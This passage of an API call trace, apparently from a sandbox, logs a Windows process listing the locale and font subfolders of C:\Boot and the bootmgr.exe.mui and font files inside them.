RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.056] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.099] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.099] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.100] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.100] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0195.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.100] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.100] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.100] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.100] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.100] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.100] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0195.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.101] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.101] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.101] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.101] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.101] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0195.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.101] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.101] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.101] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.101] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.101] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.101] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0195.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.102] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.102] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.102] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.102] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.102] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0195.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.102] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.103] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.103] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.103] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.103] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0195.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.103] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.103] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.104] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.104] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.104] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0195.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.104] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.104] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.104] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0195.105] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.105] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0195.105] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.105] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.105] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.106] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.106] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.106] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0195.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.106] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.106] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.106] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.106] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.107] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0195.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.107] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.107] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.107] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, 